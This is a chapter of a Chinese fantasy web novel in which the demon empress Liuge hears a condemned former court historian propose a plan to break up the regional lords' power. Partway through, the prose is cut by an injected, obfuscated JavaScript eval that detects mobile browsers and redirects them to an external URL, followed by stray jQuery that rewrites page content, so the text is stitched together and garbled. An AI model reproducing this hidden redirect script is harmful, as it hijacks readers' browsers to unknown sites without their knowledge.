殿内几个老牌领主被琉歌的话气得气血翻涌,却连口大气都不敢喘。
刚刚嚷得最凶的掠芜和激浪,现在跟被掐了脖子的鸟一样,脸憋得通红,半个字都吐不出来。
他们晦暗不明的目光落在被赤琉璃押着的喻未央身上,又互相看了一眼,随即飞快地躲开视线,好像多看对方一眼,都会沾上叛徒和同党的嫌疑。
惊轶站在队伍前面,后背的衣料已经被冷汗浸透。
他太清楚眼下这局面意味着什么——研学派早就随着春在野之死,和学宫一起被连根拔了,现在军功派实际上的核心又被妖皇当众挑明了罪责……这两股最能跟青丘叫板的势力,短短几天里全垮了,剩下的领主们,谁还敢抱团?谁还敢梗着脖子说“我们水族不同意”?
他偷偷往上瞄了一眼,只见银发妖皇重新靠回神座,指尖有一下没一下地敲着扶手,脸上没什么表情,那声音在死寂的大殿中格外清晰。
半响,她笑了,“既然你们已经无话可说,那就轮到我来说了。”
“颂颂,把人带上来。”
新任青衣史一席正青色曲裾,腰间束着一条镶嵌了月白明珠的玉带。
颂颂早已准备好了,领命退下,很快,两名采薇卫押着一位身着素白囚衣的女子走进来。
身着囚衣的女子身形纤细,脸色因久不见日光而苍白,一头青灰色的长发有些凌乱,但那双眼睛却异常明亮,甚至带着一种近乎灼热的冷静。
正是本该在一个月前就被斩首示众的前任青衣史,青雀族,嗣音。
采薇卫松开她,退至殿外。
嗣音没有跪,只是微微躬身,声音清越:“罪臣嗣音,拜见定宸妖皇尊上。”
琉歌看着她,笑容浅淡:“颂颂将你在狱中写的那些奏章都拿给朕看过了,既然你直言有谋策想献于朕,那便在这里,当着众领主的面说说看吧。”
一句话,嗣音顿时怔然,恍惚间仿若回到了一月前的狱中。
她将细细密密写满了字的奏疏塞进颂颂掌心,恳求颂颂将这些谋策递到妖皇眼前时,其实并不抱太大希望。
嗣音自己无比清楚,她和颂颂相当不对付。
野心家之间总是有某种奇异的共鸣的。
青雀第一次见到那化形都不完美的垂耳兔时,就没忍住轻蔑一笑。她几乎只用一眼,就笃定的了然——这孩子的目标也是鸾台青衣史之位。
毫不客气的,已经在春在野的帮助下成为了第二任青衣史的她,将颂颂打到了神女身边。
有野心而废物的妖兽混血,和有野心却无能,不被圣坛青睐的神女,正好相配。
然而那天,昏暗而不见天日的狱中,身着正青色青衣史官服的颂颂仔细看完她的奏疏后,冷冷睨了她很久,转身离去。
就在嗣音万念俱灰之时,她听到了颂颂恭顺而崇敬的声音:“尊上,地上脏,您该让他们打扫之后再来的,何必急于一时?”
琉歌笑笑,目光落在震惊的无以复加的嗣音身上,立刻洞穿了她震惊的源头不只是自己。
“颂颂,你要留下旁听么?”她有些恶劣的笑着,嘴上问着颂颂的意见,手已经搭在了垂耳兔的肩膀上,把她按到了一旁的长凳上坐着。
随后,才慢悠悠的打量起了嗣音,问道:“颂颂已经将你写的东西拿给朕看了,说说吧,你的想法。”
“是,”嗣音抬起头,目光从垂首静默不语的颂颂身上移开,“罪臣将死之人,本无资格妄议朝政,但尊上开恩,允许罪臣死前胡言几句,便想着或许罪臣这点微末见识能对尊上有所助益,权当……赎罪万一。”
“赎罪?”琉歌笑意更深,“你配合春在野取神血炼丹,窃夺信仰损伤妖界根基,这罪可不好赎。”
嗣音面色不变:“罪臣不敢求免死,但于尊上而言,杀一个我不过是多一具无关紧要的尸体,而留着罪臣这副还算好用的脑子,或许能为尊上省些力气,多斩几个真正碍事的人。”
好一个好用的脑子。
琉歌审视着她,青雀族在妖族中不算强族,素以机敏灵动著称,多出探子,斥候,信使一类的角色。
而眼前这个嗣音,却把这份机敏用在了最危险的权谋之路上。
她知道自己的价值在哪里,也知道该如何创造价值,这是真正的野心家,为达目的不择手段,春在野愿意将她放到鸾台青衣史这样的位置上,或许就是看上了她敢冒天下之大不讳,算计神庭和妖皇的胆量。
青雀深吸一口气,“您先设典藏阁,后引出抚育司,都是为了集权于青丘,罪臣斗胆揣测,下一步,您应该是想收各领主兵权,归于中央。”
“但若强行削夺领主兵权,必引起他们的激烈反弹,领主均乃问情先皇手下功臣,青丘不可能对领主出兵,这不符合妖族不对同族动手的铁律和传统,不若……顺势而为。”
“继续。”银发妖皇坐下,颂颂立刻熟稔的将一杯温度正好的茶递到她的手底,“这是从第四洲带来的逐云白毫,尊上。”
嗣音顿了顿,观察着琉歌和颂颂的神色,斟酌着继续道:“一,改分封为郡县,每洲的洲府之下划十二郡,每郡下又设十二县。”
“二,每洲从此有且只有三位领主,领主之间互相分担压力也互相制衡。每位领主,无论原领地多大,从此之后最多只能直接统领三个郡,只要是其子嗣,成年时必可得一块封地,这块封地至少三县大小。如此层层继承之下,等到继承领地的子嗣连三县之地也拿不出来时,便不可再往下传承。”
“如此一来,领主们即便看穿,为子孙长远计议,亦不得不从,为安顿子孙,必不会大力反对新政。而子孙分封后,其利益便与领主不尽相同,封地越分越小,势力越分越散,两三代之后,世家大族割据之患自解。”
琉歌微微颔首:“一洲十二郡,领主拿九个,剩下三郡呢?”
嗣音立刻道:“自然是直接隶属青丘,归帝宫直接管辖。这三郡是离一级传送阵和洲府最近的三郡,由青丘亲自委任官员,治理,税收,防务,司法等等皆由中央直辖,不容地方势力插手。此三郡乃一洲心腹,握住这里,便握住了一洲命脉。”
“而地方不止有领主,还有豪强——地方豪强若自愿迁居青丘,献出部分私产,可赐予虚衔厚禄,其
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310273|198802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子弟优先入典藏阁或抚育司,至于在战争中牺牲的烈士遗孤……”
嗣音声音略微低沉,“罪臣以为,当悉数接入青丘妥善安置,或入抚育司,或由朝廷供养——问情先皇就曾开辟帝宫作为烈士遗孤的学府,尊上或可以效仿之。此举既可收揽人心,彰显尊上仁德,亦可……使前线将士无后顾之忧,为尊上出生入死。”
狱中安静了片刻。
嗣音提出的,正是琉歌前世今生一直在想的。
“好一个好用的脑子,”琉歌放下茶杯,看着嗣音,“这些事,朕可以交给惊轶,交给风弄堂,危天梭等人去做,为何独独要用你一个待死罪臣?”
嗣音缓缓松开了握着围栏的手,以青雀族最恭顺的姿态温驯的跪下,说出的话却野心昭彰。
“因为惊轶大人、风弄堂大人,他们是尊上的心腹重臣,他们去做,领主们会警惕,会抵触,会认为这是尊上意志的延伸,是中央对地方的剥夺和压迫。”
“而罪臣去做,”她抬起头,眼神锐利如刀,“罪臣是戴罪之身,是险些害了尊上的春在野同党,由罪臣提出并推行这些削藩之策,领主们会轻视,会以为这是罪臣为了活命而不择手段献上的毒计,他们会将更多的怒火和算计,对准罪臣这个小人,而非尊上。”
“罪臣愿求一个活命的机会,愿做尊上手中最锋利,也随时可以被折断,被丢弃的刀,刀锋所指,为尊上劈开荆棘,待荆棘斩尽,若尊上觉得此刀沾血已多,不甚顺手……随时可折之、弃之,而尊上圣誉,无损分毫。”
她将额头贴在手背上:“求尊上……赐罪臣一个效死的机会。”
烛火摇曳,映着嗣音伏地的身影和琉歌沉静的眉眼。
良久,琉歌开口:“起来吧。”
嗣音身体微微一颤,依言起身。
“你的命,我可以暂且留着,”琉歌的声音听不出喜怒,“好好准备吧,下一次大朝会,将有你的一次发言机会。”
“你知道该说什么。”
嗣音深深吸气,压下心中狂涌的激动与寒意:“臣……定不负尊上所托!”
她知道,自己赌赢了第一步。
那条通天的青云路,终于又向她敞开了!
琉歌摆手,“对了,朕还没问过,你想要什么?”
嗣音深吸一口气压住自己细密的颤抖,青雀抬眸,圆而亮的眼珠明丽丽的闪耀,“罪臣不敢欺瞒尊上……罪臣想要第三洲,春在野空出的领主之位。”
“您身边供您驱使的剑不少,但您缺一把,可以随您打磨政策的锟铻刀。”
嗣音倏然弯起了眉眼,“我知道仙魔都是我们的敌人,我知道您将颂颂那个孩子推到台前,是想将鸾台从照顾妖皇起居的内务,打造成收拢您谋臣与心腹的小朝廷……您是比春在野,比惊轶,比问情更合格帝宫神座的君主……只有您,才配当我嗣音的君王!”
“好大的胆子。”琉歌俯视着嗣音,眼神冷厉,嘴角却缓缓勾起,“但我允许你更大胆一些,嗣音。”
“若是你能永远如今日这般合我心意,朕许诺你,你会得到比领主之位贵重的多的奖赏。”